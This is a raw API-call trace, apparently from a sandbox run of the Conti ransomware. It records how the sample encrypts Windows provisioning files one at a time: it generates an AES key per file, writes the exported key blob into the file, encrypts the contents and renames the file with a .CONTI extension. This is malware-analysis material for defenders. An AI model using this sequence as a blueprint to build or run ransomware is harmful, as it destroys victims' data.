	[0110.749] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.749] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.750] GetProcessHeap () returned 0x1720000
	[0110.750] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.750] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.750] GetProcessHeap () returned 0x1720000
	[0110.750] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560138 | out: hHeap=0x1720000) returned 1
	[0110.750] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.750] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x656b830 | out: phKey=0x656b830*=0x17c78b0) returned 1
	[0110.750] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656b834, pdwDataLen=0x433f9bc | out: pbData=0x656b834*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.751] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.751] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.751] GetLastError () returned 0x0
	[0110.751] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=720) returned 1
	[0110.751] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0110.752] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.752] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.752] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.752] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.752] WriteFile (in: hFile=0x2ec, lpBuffer=0x656b834*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x656b834*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.755] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.755] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.755] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0110.755] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.755] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.755] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.755] WriteFile (in: hFile=0x2ec, lpBuffer=0x656b828*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x656b828*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.755] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.755] CloseHandle (hObject=0x2ec) returned 1
	[0110.755] GetProcessHeap () returned 0x1720000
	[0110.755] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.755] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml"
	[0110.755] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.755] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.756] GetProcessHeap () returned 0x1720000
	[0110.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.756] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0110.756] GetProcessHeap () returned 0x1720000
	[0110.756] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516c10 | out: hHeap=0x1720000) returned 1
	[0110.756] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.756] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x656a5f0 | out: phKey=0x656a5f0*=0x17c7770) returned 1
	[0110.756] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656a5f4, pdwDataLen=0x433f9bc | out: pbData=0x656a5f4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.757] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.757] GetLastError () returned 0x0
	[0110.757] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=709) returned 1
	[0110.757] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0110.757] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.757] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.758] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.758] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.758] WriteFile (in: hFile=0x2ec, lpBuffer=0x656a5f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x656a5f4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.767] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.767] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c5, lpOverlapped=0x0) returned 1
	[0110.767] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c5, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0110.767] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.767] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.767] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.767] WriteFile (in: hFile=0x2ec, lpBuffer=0x656a5e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x656a5e8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.767] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.767] CloseHandle (hObject=0x2ec) returned 1
	[0110.767] GetProcessHeap () returned 0x1720000
	[0110.767] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.768] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml"
	[0110.768] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.768] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.768] GetProcessHeap () returned 0x1720000
	[0110.768] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.768] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.768] GetProcessHeap () returned 0x1720000
	[0110.768] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561810 | out: hHeap=0x1720000) returned 1
	[0110.768] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.768] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x656af10 | out: phKey=0x656af10*=0x17c7770) returned 1
	[0110.768] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656af14, pdwDataLen=0x433f9bc | out: pbData=0x656af14*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.769] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.769] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.770] GetLastError () returned 0x0
	[0110.770] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=716) returned 1
	[0110.770] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0110.770] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.770] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.770] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.770] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.770] WriteFile (in: hFile=0x2ec, lpBuffer=0x656af14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x656af14*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.772] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.772] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2cc, lpOverlapped=0x0) returned 1
	[0110.772] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0110.772] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.772] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.772] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.772] WriteFile (in: hFile=0x2ec, lpBuffer=0x656af08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x656af08*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.772] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.772] CloseHandle (hObject=0x2ec) returned 1
	[0110.772] GetProcessHeap () returned 0x1720000
	[0110.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.772] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml"
	[0110.772] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\34__connections_cellular_batelco (bahrain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.773] GetProcessHeap () returned 0x1720000
	[0110.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.773] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.773] GetProcessHeap () returned 0x1720000
	[0110.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567ec0 | out: hHeap=0x1720000) returned 1
	[0110.773] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.773] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6568170 | out: phKey=0x6568170*=0x17c7af0) returned 1
	[0110.773] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6568174, pdwDataLen=0x433f9bc | out: pbData=0x6568174*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.774] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0110.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.775] GetLastError () returned 0x0
	[0110.775] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=722) returned 1
	[0110.775] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0110.775] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.775] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.775] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.775] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
